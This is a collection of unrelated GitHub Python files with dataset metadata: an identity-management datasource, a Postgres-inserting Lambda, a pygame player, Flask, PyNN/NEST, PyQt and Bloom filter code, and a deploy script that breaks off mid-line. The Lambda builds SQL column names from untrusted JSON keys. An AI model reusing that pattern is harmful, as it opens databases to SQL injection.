\"\"\"\n return {\n 'id': normalize_id(d['id']),\n 'first_name': normalize_text(d['first_name'], allow_empty=True),\n 'last_name': normalize_text(d['last_name'], allow_empty=True),\n 'date_of_birth': parse_greg_date(d['date_of_birth'], allow_empty=True),\n 'registration_completed_date': parse_greg_date(\n d['registration_completed_date'],\n allow_empty=True,\n ),\n # 'token': normalize_text(d['token'], allow_empty=True),\n 'identities': tuple(_parse_person_id(i) for i in d['identities']),\n 'roles': tuple(_parse_person_role(r) for r in d['roles']),\n 'consents': tuple(_parse_person_consent(c) for c in d['consents']),\n }\n\n\nclass GregDatasource(object):\n \"\"\"\n Datasource implementation for Greg guests.\n \"\"\"\n\n def __init__(self, client):\n self.client = client\n\n def get_object(self, reference):\n \"\"\" Fetch data from sap (employee data, assignments, roles). \"\"\"\n greg_id = normalize_id(reference)\n raw = self.client.get_person(greg_id)\n if raw:\n greg_data = parse_person(raw)\n else:\n logger.warning('no result for greg_id=%s', greg_id)\n greg_data = {'id': greg_id}\n\n return greg_data\n", "repo_name": "unioslo/cerebrum", "sub_path": "Cerebrum/modules/greg/datasource.py", "file_name": "datasource.py", "file_ext": "py", "file_size_in_byte": 6666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "six.text_type", "line_number": 24, "usage_type": "call"}, {"api_name": "Cerebrum.utils.date.parse_date", "line_number": 31, "usage_type": "call"}, {"api_name": "Cerebrum.utils.date", "line_number": 31, "usage_type": "name"}, {"api_name": "Cerebrum.utils.date.parse_datetime_tz", "line_number": 38, "usage_type": "call"}, {"api_name": "Cerebrum.utils.date", "line_number": 38, "usage_type": "name"}, {"api_name": "Cerebrum.utils.date.to_timezone", "line_number": 39, "usage_type": "call"}, {"api_name": "Cerebrum.utils.date", "line_number": 39, "usage_type": "name"}, {"api_name": "six.string_types", "line_number": 44, "usage_type": "attribute"}, {"api_name": "six.text_type", "line_number": 45, "usage_type": "call"}, {"api_name": "Cerebrum.utils.textnorm.normalize", "line_number": 51, "usage_type": "call"}, {"api_name": "Cerebrum.utils.textnorm", "line_number": 51, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 91, "usage_type": "call"}]} {"seq_id": "2326410953", "text": "import json\nimport psycopg2\nimport os\n\n\ndef respond_with(status_code):\n return {\n \"statusCode\": status_code\n }\n\n\ndef create_sql_statement(data):\n keys = data.keys()\n\n columns = \", \".join(keys)\n values = \", \".join(list(map(lambda key: f\"%({key})s\", keys)))\n\n return f\"INSERT INTO anime ({columns}) VALUES ({values})\"\n\n\ndef get_pg_connection():\n return psycopg2.connect(\n host=os.environ[\"PG_HOST\"],\n user=os.environ[\"PG_USERNAME\"],\n password=os.environ[\"PG_PASSWORD\"],\n dbname=os.environ[\"PG_DATABASE\"]\n )\n\n\ndef lambda_handler(event, context):\n print(f\"Event: {event}\")\n\n data = None\n\n try:\n data = json.loads(event[\"body\"])\n except Exception as error:\n print(error)\n return respond_with(400)\n\n print(\"Connecting to Postgres.\")\n\n connection = get_pg_connection()\n cursor = connection.cursor()\n\n statement = create_sql_statement(data)\n print(f\"Executing: {statement}\")\n cursor.execute(statement, data)\n\n connection.commit()\n\n cursor.close()\n connection.close()\n\n return respond_with(201)\n", "repo_name": "shcallaway/scrape-mal", "sub_path": "lambda/insert.py", "file_name": "insert.py", "file_ext": "py", "file_size_in_byte": 1108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "psycopg2.connect", "line_number": 22, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}]} {"seq_id": "39450258917", "text": "import os\nimport time\nimport pygame\nimport psutil\n\nclass Sound:\n def __init__(self):\n pygame.mixer.init()\n\n def playSound(self):\n print(\"Alive\")\n pygame.mixer.music.load(\"play.wav\")\n pygame.mixer.music.play()\n while pygame.mixer.music.get_busy() == True:\n continue\n\n def stopSound():\n pygame.mixer.music.stop()\n\n\ndef play(filename):\n sound = Sound()\n sound.playSound()\n\ndef play_music(filename):\n playf = 0\n while True:\n control = input()\n if control == 'p':\n if playf == 0:\n pid = os.fork()\n playf = 1\n if pid == 0:\n play(filename)\n else:\n print(\"Already playing\")\n elif control == 's':\n if playf == 1:\n print(\"Need to stop\")\n print(\"Stop the existing child who is playing the music\")\n playf = 0\n curr_id = psutil.Process(os.getpid())\n for child in curr_id.children(recursive=True):\n child.kill()\n else:\n print(\"No need to stop\")\n\n time.sleep(5)\n\nplay_music(\"play.wav\")\n\n", "repo_name": "manishshambu/InternetOfThings", "sub_path": "backup/async_process.py", "file_name": "async_process.py", "file_ext": "py", "file_size_in_byte": 1206, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.mixer.init", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.get_busy", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.stop", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.fork", "line_number": 31, "usage_type": "call"}, {"api_name": "psutil.Process", "line_number": 42, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}]} {"seq_id": "22199818782", "text": "import os\nfrom flask import Flask, render_template, redirect\nfrom nosql.db import initialize_db\nfrom nosql.mars import Mars\nfrom utils.scrape import scrape_all\nfrom dotenv import load_dotenv\n\nAPP_ROOT = os.path.join(os.path.dirname(__file__),\n '..') # refers to application_top\ndotenv_path = os.path.join(APP_ROOT, '.env')\nload_dotenv(dotenv_path)\n\napp = Flask(__name__)\n\napp.config['MONGODB_SETTINGS'] = {\n 'host': os.getenv('MONGODB'),\n}\n\ninitialize_db(app)\n\n\n@app.route('/')\ndef index():\n\n mars_data = Mars.objects().order_by('-id').first()\n return render_template(\"index.html\", mars_data=mars_data)\n\n\n@app.route('/scrape')\ndef scrape():\n mars_data = scrape_all()\n mars = Mars()\n mars.news_title = mars_data['news_title']\n mars.news_p = mars_data['news_p']\n mars.featured_image = mars_data['featured_image']\n mars.current_weather = mars_data['current_weather']\n mars.table_html = mars_data['table_html']\n mars.hemi_full_image_urls = mars_data['hemi_full_image_urls']\n mars.save()\n\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "repo_name": "moz5691/web-scraping-challenge", "sub_path": "src/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "dotenv.load_dotenv", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "nosql.db.initialize_db", "line_number": 19, "usage_type": "call"}, {"api_name": "nosql.mars.Mars.objects", "line_number": 25, "usage_type": "call"}, {"api_name": "nosql.mars.Mars", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.scrape.scrape_all", "line_number": 31, "usage_type": "call"}, {"api_name": "nosql.mars.Mars", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 41, "usage_type": "call"}]} {"seq_id": "37725393322", "text": "import logging\nfrom collections import defaultdict\n\nimport numpy as np\nimport nest\n\nfrom .. import common, errors\nfrom ..parameters import ArrayParameter, Sequence, ParameterSpace, simplify, LazyArray\nfrom ..random import RandomDistribution\nfrom ..standardmodels import StandardCellType\nfrom . import simulator\nfrom .recording import Recorder\n\nlogger = logging.getLogger(\"PyNN\")\n\n\nclass PopulationMixin(object):\n\n def _get_view(self, selector, label=None):\n return PopulationView(self, selector, label)\n\n def _set_parameters(self, parameter_space):\n \"\"\"\n parameter_space should contain native parameters\n \"\"\"\n param_dict = _build_params(parameter_space, np.where(self._mask_local)[0])\n if hasattr(self.celltype, \"uses_parrot\") and self.celltype.uses_parrot:\n ids = self.node_collection_source[self._mask_local]\n else:\n ids = self.node_collection[self._mask_local]\n simulator.state.set_status(ids, param_dict)\n\n def _get_parameters(self, *names):\n \"\"\"\n Return a ParameterSpace containing PyNN parameters\n\n `names` should be PyNN names\n \"\"\"\n def _get_component_parameters(component, names, component_label=None):\n if component.computed_parameters_include(names):\n # need all parameters in order to calculate values\n native_names = component.get_native_names()\n else:\n native_names = component.get_native_names(*names)\n native_parameter_space = self._get_native_parameters(*native_names)\n ps = component.reverse_translate(native_parameter_space)\n # extract values for this component from any ArrayParameters\n for name, value in ps.items():\n if isinstance(value.base_value, ArrayParameter):\n index = self.celltype.receptor_types.index(component_label)\n ps[name] = LazyArray(value.base_value[index])\n ps[name].operations = value.operations\n return ps\n\n if isinstance(self.celltype, StandardCellType):\n if any(\".\" in name for name in names):\n names_by_component = defaultdict(list)\n for name in names:\n parts = name.split(\".\")\n if len(parts) == 1:\n names_by_component[\"neuron\"].append(parts[0])\n elif len(parts) == 2:\n names_by_component[parts[0]].append(parts[1])\n else:\n raise ValueError(\"Invalid name: {}\".format(name))\n if \"neuron\" in names_by_component:\n parameter_space = _get_component_parameters(self.celltype.neuron,\n names_by_component.pop(\"neuron\"))\n else:\n parameter_space = ParameterSpace({})\n for component_label, names in names_by_component.items():\n parameter_space[component_label] = _get_component_parameters(\n self.celltype.post_synaptic_receptors[component_label],\n names_by_component[component_label],\n component_label)\n else:\n parameter_space = _get_component_parameters(self.celltype, names)\n else:\n parameter_space = self._get_native_parameters(*names)\n return parameter_space\n\n def _get_native_parameters(self, *names):\n \"\"\"\n return a ParameterSpace containing native parameters\n\n `names` should be native NEST names\n \"\"\"\n if hasattr(self.celltype, \"uses_parrot\") and self.celltype.uses_parrot:\n ids = self.node_collection_source[self._mask_local]\n else:\n ids = self.node_collection[self._mask_local]\n\n if \"spike_times\" in names:\n parameter_dict = {\"spike_times\": [Sequence(value)\n for value in nest.GetStatus(ids, names)]}\n else:\n parameter_dict = {}\n for name in names: # one name at a time, since some parameter values may be tuples\n val = np.array(nest.GetStatus(ids, name))\n if isinstance(val[0], tuple) or len(val.shape) == 2:\n val = np.array([ArrayParameter(v) for v in val])\n val = LazyArray(simplify(val), shape=(self.local_size,), dtype=ArrayParameter)\n parameter_dict[name] = val\n else:\n parameter_dict[name] = simplify(val)\n ps = ParameterSpace(parameter_dict, shape=(self.local_size,))\n return ps\n\n @property\n def local_node_collection(self):\n return self.node_collection[self._mask_local]\n\n\nclass Assembly(common.Assembly):\n __doc__ = common.Assembly.__doc__\n _simulator = simulator\n\n @property\n def local_node_collection(self):\n result = self.populations[0].local_node_collection\n for p in self.populations[1:]:\n result += p.local_node_collection\n return result\n\n @property\n def node_collection(self):\n return sum((p.node_collection for p in self.populations[1:]),\n start=self.populations[0].node_collection)\n\n\nclass PopulationView(common.PopulationView, PopulationMixin):\n __doc__ = common.PopulationView.__doc__\n _simulator = simulator\n _assembly_class = Assembly\n\n @property\n def node_collection(self):\n return self.parent.node_collection[self.mask]\n\n @property\n def node_collection_source(self):\n return self.parent.node_collection_source[self.mask]\n\n\ndef _build_params(parameter_space, mask_local, size=None, extra_parameters=None):\n \"\"\"\n Return either a single parameter dict or a list of dicts, suitable for use\n in Create or SetStatus.\n \"\"\"\n if \"UNSUPPORTED\" in parameter_space.keys():\n parameter_space.pop(\"UNSUPPORTED\")\n if size:\n parameter_space.shape = (size,)\n if parameter_space.is_homogeneous:\n parameter_space.evaluate(simplify=True)\n cell_parameters = parameter_space.as_dict()\n if extra_parameters:\n cell_parameters.update(extra_parameters)\n for name, val in cell_parameters.items():\n if isinstance(val, ArrayParameter):\n cell_parameters[name] = val.value.tolist()\n else:\n parameter_space.evaluate(mask=mask_local)\n cell_parameters = list(parameter_space) # may not be the most efficient way.\n # Might be best to set homogeneous parameters on creation,\n # then inhomogeneous ones using SetStatus. Need some timings.\n for D in cell_parameters:\n for name, val in D.items():\n if isinstance(val, ArrayParameter):\n D[name] = val.value.tolist()\n if extra_parameters:\n D.update(extra_parameters)\n return cell_parameters\n\n\nclass Population(common.Population, PopulationMixin):\n __doc__ = common.Population.__doc__\n _simulator = simulator\n _recorder_class = Recorder\n _assembly_class = Assembly\n\n def __init__(self, size, cellclass, cellparams=None, structure=None,\n initial_values={}, label=None):\n self._deferred_parrot_connections = False\n super(Population, self).__init__(size, cellclass,\n cellparams, structure, initial_values, label)\n self._simulator.state.populations.append(self)\n\n def _create_cells(self):\n \"\"\"\n Create cells in NEST using the celltype of the current Population.\n \"\"\"\n # this method should never be called more than once\n # perhaps should check for that\n nest_model = self.celltype.nest_name[simulator.state.spike_precision]\n if isinstance(self.celltype, StandardCellType):\n self.celltype.parameter_space.shape = (self.size,) # should perhaps do this on a copy?\n params = _build_params(self.celltype.native_parameters,\n None,\n size=self.size,\n extra_parameters=self.celltype.extra_parameters)\n else:\n params = _build_params(self.celltype.parameter_space,\n None,\n size=self.size)\n try:\n self.node_collection = nest.Create(nest_model, self.size, params=params)\n except nest.NESTError as err:\n if \"UnknownModelName\" in err.args[0] and \"cond\" in err.args[0]:\n raise errors.InvalidModelError(\n f\"{err} Have you compiled NEST with the GSL (Gnu Scientific Library)?\")\n if \"Spike times must be sorted in non-descending order\" in err.args[0]:\n raise errors.InvalidParameterValueError(\n \"Spike times given to SpikeSourceArray must be in increasing order\")\n raise # errors.InvalidModelError(err)\n # create parrot neurons if necessary\n if hasattr(self.celltype, \"uses_parrot\") and self.celltype.uses_parrot:\n # we put the parrots into all_cells, since this will\n # be used for connections and recording. all_cells_source\n # should be used for setting parameters\n self.node_collection_source = self.node_collection\n parrot_model = (\n simulator.state.spike_precision == \"off_grid\"\n and \"parrot_neuron_ps\"\n or \"parrot_neuron\"\n )\n self.node_collection = nest.Create(parrot_model, self.size)\n\n self._deferred_parrot_connections = True\n # connecting up the parrot neurons is deferred until we know the value of min_delay\n # which could be 'auto' at this point.\n if self.node_collection.local is True:\n self._mask_local = np.array([True])\n else:\n self._mask_local = np.array(self.node_collection.local)\n self.all_cells = np.array([simulator.ID(gid) for gid in self.node_collection.tolist()],\n simulator.ID)\n for gid in self.all_cells:\n gid.parent = self\n gid.node_collection = nest.NodeCollection([int(gid)])\n if hasattr(self.celltype, \"uses_parrot\") and self.celltype.uses_parrot:\n for gid, source in zip(self.all_cells, self.node_collection_source.tolist()):\n gid.source = source\n\n def _connect_parrot_neurons(self):\n nest.Connect(self.node_collection_source, self.node_collection, 'one_to_one',\n syn_spec={'delay': simulator.state.min_delay})\n self._deferred_parrot_connections = False\n\n def _reset(self):\n # adjust parameters that represent absolute times for the time offset after reset\n if hasattr(self.celltype, \"uses_parrot\") and self.celltype.uses_parrot:\n for name in self.celltype.get_native_names():\n if name in (\"start\", \"stop\", \"spike_times\"):\n value = self.celltype.native_parameters[name]\n self._simulator.set_status(self.node_collection, name, value)\n\n def _set_initial_value_array(self, variable, value):\n if hasattr(self.celltype, \"variable_map\"):\n variable = self.celltype.variable_map[variable]\n if isinstance(value.base_value, RandomDistribution) and value.base_value.rng.parallel_safe:\n local_values = value.evaluate()[self._mask_local]\n else:\n local_values = value._partially_evaluate(self._mask_local, simplify=True)\n try:\n if (\n self._mask_local.dtype == bool\n and self._mask_local.size == 1\n and self._mask_local[0]\n ):\n simulator.state.set_status(self.node_collection, variable, local_values)\n else:\n simulator.state.set_status(self.node_collection[self._mask_local],\n variable, local_values)\n except nest.NESTError as e:\n if \"Unused dictionary items\" in e.args[0]:\n logger.warning(\"NEST does not allow setting an initial value for %s\" % variable)\n # should perhaps check whether value-to-be-set is the same as current value,\n # and raise an Exception if not, rather than just emit a warning.\n else:\n raise\n", "repo_name": "NeuralEnsemble/PyNN", "sub_path": "pyNN/nest/populations.py", "file_name": "populations.py", "file_ext": "py", "file_size_in_byte": 12531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 256, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 26, "usage_type": "call"}, {"api_name": "parameters.ArrayParameter", "line_number": 49, "usage_type": "argument"}, {"api_name": "parameters.LazyArray", "line_number": 51, "usage_type": "call"}, {"api_name": "standardmodels.StandardCellType", "line_number": 55, "usage_type": "argument"}, {"api_name": "collections.defaultdict", "line_number": 57, "usage_type": "call"}, {"api_name": "parameters.ParameterSpace", "line_number": 70, "usage_type": "call"}, {"api_name": "parameters.Sequence", "line_number": 94, "usage_type": "call"}, {"api_name": "nest.GetStatus", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "nest.GetStatus", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "parameters.ArrayParameter", "line_number": 101, "usage_type": "call"}, {"api_name": "parameters.LazyArray", "line_number": 102, "usage_type": "call"}, {"api_name": "parameters.simplify", "line_number": 102, "usage_type": "call"}, {"api_name": "parameters.ArrayParameter", "line_number": 102, "usage_type": "name"}, {"api_name": "parameters.simplify", "line_number": 105, "usage_type": "call"}, {"api_name": "parameters.ParameterSpace", "line_number": 106, "usage_type": "call"}, {"api_name": "parameters.ArrayParameter", "line_number": 160, "usage_type": "argument"}, {"api_name": "parameters.ArrayParameter", "line_number": 169, "usage_type": "argument"}, {"api_name": "recording.Recorder", "line_number": 179, "usage_type": "name"}, {"api_name": "standardmodels.StandardCellType", "line_number": 196, "usage_type": "argument"}, {"api_name": "nest.Create", "line_number": 207, "usage_type": "call"}, {"api_name": "nest.NESTError", "line_number": 208, "usage_type": "attribute"}, {"api_name": "nest.Create", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 236, "usage_type": "call"}, {"api_name": "nest.NodeCollection", "line_number": 240, "usage_type": "call"}, {"api_name": "nest.Connect", "line_number": 246, "usage_type": "call"}, {"api_name": "random.RandomDistribution", "line_number": 261, "usage_type": "argument"}, {"api_name": "nest.NESTError", "line_number": 275, "usage_type": "attribute"}]} {"seq_id": "12893823024", "text": "#!/usr/bin/env python\n# -*- coding:utf8 -*-\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom miscutils import DeviceInfoWidget\nfrom tcpserver import *\nimport json\nfrom devattr import *\n\nclass SubDevDataWidget(QTableWidget):\n showDeviceInfo = pyqtSignal(str) # Fixme: this type should be 'subDev' type, just for testing in here.\n\n def __init__(self, subDeviceList = [], column=[], parent=None):\n super().__init__(parent)\n self.setSelectionMode(QAbstractItemView.NoSelection)\n self.subDeviceList = subDeviceList\n self.devInformationWidget = DeviceInfoWidget(self)\n self.showDeviceInfo.connect(self.devInformationWidget.onDeviceInformation)\n self.mouseInRow = -1\n self.mouseInColumn = 0\n self.setColumnCount(len(column))\n self.setRowCount(len(subDeviceList))\n # self.verticalHeader().setMinimumHeight(100)\n self.setHorizontalHeaderLabels(column)\n vHeaderLabels = []\n for dev in subDeviceList:\n vHeaderLabels.append(dev.devName)\n self.setVerticalHeaderLabels(vHeaderLabels)\n try: # try to create sub contents\n font = QFont(self.font())\n font.setPointSize(13)\n for i in range(len(subDeviceList)):\n self.setRowHeight(i, 60)\n self.subDeviceList[i].valueChanged.connect(self.onDevAttrValueChanged)\n item = QTableWidgetItem() # 位置\n item.setFont(font)\n item.setForeground(Qt.white)\n item.setTextAlignment(Qt.AlignVCenter|Qt.AlignHCenter)\n item.setText(str(subDeviceList[i].currentPos))\n self.setItem(i, 0, item)\n item = QTableWidgetItem() # 上限\n item.setFont(font)\n item.setForeground(Qt.white)\n item.setTextAlignment(Qt.AlignHCenter|Qt.AlignVCenter)\n item.setText(str(subDeviceList[i].upLimitedPos))\n self.setItem(i, 1, item)\n item = QTableWidgetItem() # 下限\n item.setFont(font)\n item.setForeground(Qt.white)\n item.setTextAlignment(Qt.AlignHCenter|Qt.AlignVCenter)\n item.setText(str(subDeviceList[i].downLimitedPos))\n self.setItem(i, 2, item)\n upCheckBox = QCheckBox(\"上限\")\n upCheckBox.setAttribute(Qt.WA_TransparentForMouseEvents)\n downCheckBox = QCheckBox(\"下限\")\n downCheckBox.setAttribute(Qt.WA_TransparentForMouseEvents)\n widget = QWidget()\n layout = QVBoxLayout()\n layout.addWidget(upCheckBox)\n layout.addWidget(downCheckBox)\n layout.setContentsMargins(0, 0, 0, 0)\n layout.setAlignment(Qt.AlignHCenter)\n widget.setLayout(layout)\n self.setCellWidget(i, 3, widget)\n except Exception as e:\n print(str(e))\n # attribute setting, read code...\n self.setFrameShape(QFrame.NoFrame)\n self.setSelectionMode(QAbstractItemView.NoSelection)\n self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n # self.verticalHeader().setSectionResizeMode(QHeaderView.Stretch)\n self.setMouseTracking(True) # should turn on mouse tracking when user cell entered\n self.cellEntered.connect(self.onCellEntered)\n self.setEditTriggers(QAbstractItemView.NoEditTriggers) # set user can not change it\n # tigger informatin display\n self.triggerInfoDisplayTimer = QTimer()\n self.triggerInfoDisplayTimer.timeout.connect(self.onTriggerInfoDisplayTimerTimeout)\n def onCellEntered(self, row, column):\n if row != self.mouseInRow:\n self.triggerInfoDisplayTimer.start(1000)\n self.showDeviceInfo.emit(self.subDeviceList[row].devName)\n self.devInformationWidget.hide()\n self.mouseInRow = row\n\n def enterEvent(self, *args, **kwargs):\n pass # print(\"enter\")\n\n def leaveEvent(self, *args, **kwargs):\n if not self.devInformationWidget.frameGeometry().contains(QCursor.pos()):\n self.devInformationWidget.hide()\n self.triggerInfoDisplayTimer.stop()\n\n def onTriggerInfoDisplayTimerTimeout(self):\n self.triggerInfoDisplayTimer.stop()\n self.devInformationWidget.show()\n\n def onDevAttrValueChanged(self, id, name):\n try:\n dev = self.sender()\n if not isinstance(dev, DevAttr):\n return\n for rc in range(self.rowCount()):\n if self.verticalHeaderItem(rc).text() == name:\n posItem = self.item(rc, 0)\n upLimitItem = self.item(rc, 1)\n downLimitItem = self.item(rc, 2)\n upReached = self.cellWidget(rc, 3).layout().itemAt(0).widget()\n downReached = self.cellWidget(rc, 3).layout().itemAt(1).widget()\n posItem.setText(str(dev.currentPos))\n upLimitItem.setText(str(dev.upLimitedPos))\n downLimitItem.setText(str(dev.downLimitedPos))\n upReached.setChecked(dev.getStateWord(DevAttr.SW_UpperLimit))\n downReached.setChecked(dev.getStateWord(DevAttr.SW_LowerLimit))\n if dev.getCtrlWord(DevAttr.CW_Selected):\n posItem.setBackground(QColor(0, 128, 255))\n upLimitItem.setBackground(QColor(0, 128, 255))\n downLimitItem.setBackground(QColor(0, 128, 255))\n self.cellWidget(rc, 3).setStyleSheet(\"background-color:#0080ff;\")\n else:\n posItem.setBackground(QColor(19, 23, 35))\n upLimitItem.setBackground(QColor(19, 23, 35))\n downLimitItem.setBackground(QColor(19, 23, 35))\n self.cellWidget(rc, 3).setStyleSheet(\"background-color:#131723;\")\n except Exception as e:\n print(\"on Dev Attr value changed\", str(e))\nclass DevDataWidget(QWidget):\n sendDataToTcp = pyqtSignal(str, int, list) # name, id, messageTypeId, action, data\n def __init__(self, subDevList=[], parent=None):\n super().__init__(parent)\n self.subDevDataWidgetList = []\n row = []\n count = 0\n perSubWidgetDevNumber = len(subDevList) // 4\n if len(subDevList) % 4 != 0:\n perSubWidgetDevNumber += 1\n # print(len(subDevList), perSubWidgetDevNumber)\n for dev in subDevList:\n if count % perSubWidgetDevNumber == 0:\n if len(row) != 0:\n self.subDevDataWidgetList.append(row)\n row = []\n row.append(dev)\n count += 1\n self.subDevDataWidgetList.append(row)\n self.scrollBar = QScrollBar()\n self.scrollBar.setRange(0, perSubWidgetDevNumber)\n columnName = [self.tr(\"实际位置\"), self.tr(\"上软限\"), self.tr(\"下软限\"), self.tr(\"限位开关\")]\n self.subDevLayout = QHBoxLayout()\n for subWidget in self.subDevDataWidgetList:\n s = SubDevDataWidget(subWidget, columnName)\n self.scrollBar.valueChanged.connect(s.verticalScrollBar().setValue)\n self.subDevLayout.addWidget(s)\n self.subDevLayout.addWidget(self.scrollBar)\n self.setLayout(self.subDevLayout)\n self.subDevLayout.setSpacing(0)\n\n def showEvent(self, QShowEvent):\n li = [TcpServer.Call, TcpServer.SetScreen, {}]\n self.sendDataToTcp.emit(TcpServer.InfoScreen, 0, li) # name, id, messageTypeId, action, data\n pass\n", "repo_name": "niuyuxin/monitorServer", "sub_path": "devicedatawidget.py", "file_name": "devicedatawidget.py", "file_ext": "py", "file_size_in_byte": 7917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "miscutils.DeviceInfoWidget", "line_number": 19, "usage_type": "call"}]} {"seq_id": "28847295805", "text": "from bitarray import bitarray\nimport hashes as h\n\nclass BloomFilter:\n \n def __init__(self, size):\n self.size = size\n # How to pass as args ???\n self.hash_funcs = [h.sax_hash, h.sdbm_hash, h.jenkins_one_at_a_time_hash, h.murmur2_hash]\n self.bit_array = bitarray(size)\n self.bit_array.setall(0)\n\n \n def add(self, string):\n \tfor f in self.hash_funcs:\n \t\tindex = f(string) % self.size\n \t\tself.bit_array[index] = 1\n \n def lookup(self, string):\n \tfor f in self.hash_funcs:\n \t\tindex = f(string) % self.size\n \t\tif self.bit_array[index] == 0:\n \t\t\treturn 0 # definitely no\n \treturn 1\t# probably yes\n\n def update(self, bitstr):\n self.bit_array = bitarray(bitstr)\n", "repo_name": "vonzhou/SdnBasedDeduplication", "sub_path": "pox/pox/dedu/bloomfilter.py", "file_name": "bloomfilter.py", "file_ext": "py", "file_size_in_byte": 752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "hashes.sax_hash", "line_number": 9, "usage_type": "attribute"}, {"api_name": "hashes.sdbm_hash", "line_number": 9, "usage_type": "attribute"}, {"api_name": "hashes.jenkins_one_at_a_time_hash", "line_number": 9, "usage_type": "attribute"}, {"api_name": "hashes.murmur2_hash", "line_number": 9, "usage_type": "attribute"}, {"api_name": "bitarray.bitarray", "line_number": 10, "usage_type": "call"}, {"api_name": "bitarray.bitarray", "line_number": 27, "usage_type": "call"}]} {"seq_id": "7699230997", "text": "#!/usr/bin/env python\nimport os\nos.environ.setdefault('PLANTMONITOR_MODULE_SETTINGS', 'conf.settings.devel')\n\nimport datetime\nimport click\nfrom yamlns import namespace as ns\n\nfrom conf.logging_configuration import LOGGING\n\nimport logging\nimport logging.config\nlogging.config.dictConfig(LOGGING)\nlogger = logging.getLogger(\"plantmonitor\")\n\nfrom ORM.pony_manager import PonyManager\n\nfrom ORM.db_utils import setupDatabase, dropTables\n\nfrom ORM.migrations import migrateLegacyToPony\nfrom pony import orm\n\nfrom meteologica.plantmonitor_db import (\n PlantmonitorDB,\n PlantmonitorDBError,\n)\n\n# ```\n# psql -U postgres -h localhost\n# CREATE database plants;\n# \\c plants\n# CREATE EXTENSION IF NOT EXISTS timescaledb CASCADE;\n# ```\n\n\ndef legacyMigrate(skipList=[]):\n configdbns = ns.load('conf/configlegacydb.yaml')\n migrateLegacyToPony(configdbns, skipList=skipList)\n\n\n@click.command()\n@click.option('--generate/--nogenerate', default=True, help='Regenerate mapping')\n@click.option('--create/--nocreate', default=True, help='Regenerate tables')\n@click.option('--destroy/--nodestroy', default=False, help='Drop tables')\n@click.option('--timescale/--notimescale', default=True, help='Timescale the Registry tables.')\n@click.option('--migrate/--nomigrate', default=False, help='Run the migration scripts using conf/configdb.yaml')\n@click.option('--sqldebug/--nosqldebug', default=False, help='print all sql issued by the ORM')\n@click.option('--noplants/--plants', default=False, help='create plants')\n@click.option('--noinverters/--inverters', default=False, help='migrate inverters')\n@click.option('--nometers/--meters', default=False, help='migrate meters')\n@click.option('--nosensors/--sensors', default=False, help='migrate sensors')\ndef deployDatabase(generate, create, destroy, timescale, migrate, sqldebug, noplants, noinverters, nometers, nosensors):\n if sqldebug:\n orm.set_sql_debug(True)\n\n if destroy:\n dropTables()\n\n skipList = []\n if noplants:\n skipList += ['plants']\n if noinverters:\n skipList += ['inverters']\n if nometers:\n skipList += ['meters']\n if nosensors:\n skipList += 